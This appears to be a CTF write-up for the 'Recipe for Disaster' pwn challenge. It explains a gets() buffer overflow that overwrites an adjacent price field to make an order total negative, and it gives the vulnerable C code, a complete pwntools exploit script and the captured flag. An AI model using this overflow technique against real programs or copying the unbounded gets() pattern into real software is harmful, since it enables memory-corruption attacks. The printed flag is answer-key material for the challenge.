Challenge: Recipe for Disaster · CTF: GPN CTF 2026 · Category: Pwning · Difficulty: Easy

Summary

A food-ordering binary reads chef notes with gets() into a 32-byte buffer that sits directly in front of an int price field. Overflowing the note overwrites the item’s price with a negative value, making the order total negative — which trips the “pricing error” branch that prints /flag as an apology coupon.

Solution

Step 1: Spot the intra-struct overflow

Orders are stored as an array of:

1
2
3
4
5
typedef struct {
  char item[32];   // offset 0
  char note[32];   // offset 32
  int  price;      // offset 64  <-- immediately after note
} Item;

The note is read with gets(cur->note) (unbounded). Writing 32 bytes to fill note and 4 more bytes lands exactly on price. gets() stops only on newline, so null bytes in the price value are fine.

Step 2: Make the total negative to print the flag

verify_total() was meant to guard against an arithmetic overflow of the sum:

1
2
3
4
5
6
7
void verify_total(int total) {
  if (total < 0) {           // "we don't want negative prices"
    print_coupon();          // reads /flag
    exit(0);
  }
  ...
}

The author guarded the sum but not the individual price. Order one item, overflow its note to set price = 0x80000000 (INT_MIN), finish the order, and total < 0 hands over the flag.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python3
from pwn import *

context.binary = ELF('./challenge', checksec=False)

HOST = 'wok-tossed-sardine-dusted-with-compressed-gremolata-6r7o.gpn24.ctf.kitctf.de'
PORT = 443

io = remote(HOST, PORT, ssl=True) if args.REMOTE else process('./challenge')

# Order one item (menu choice 1)
io.sendlineafter(b'0 to finish: ', b'1')

# note[32] is immediately followed by int price -> overflow to set INT_MIN
payload = b'A' * 32 + p32(0x80000000)   # total < 0
io.sendlineafter(b'> ', payload)

# Finish ordering -> calculate_total -> verify_total -> print_coupon (/flag)
io.sendlineafter(b'0 to finish: ', b'0')

io.recvuntil(b'this coupon:')
print(io.recvall(timeout=5).decode(errors='replace').strip())

Run:

1
2
3
python3 solver.py REMOTE
# ...
# GPNCTF{WaIt, wITH 7hese PriCeS, ovErFL0Ws shOULd n07 Be pOSSi8lE...}

Flag

1
GPNCTF{WaIt, wITH 7hese PriCeS, ovErFL0Ws shOULd n07 Be pOSSi8lE...}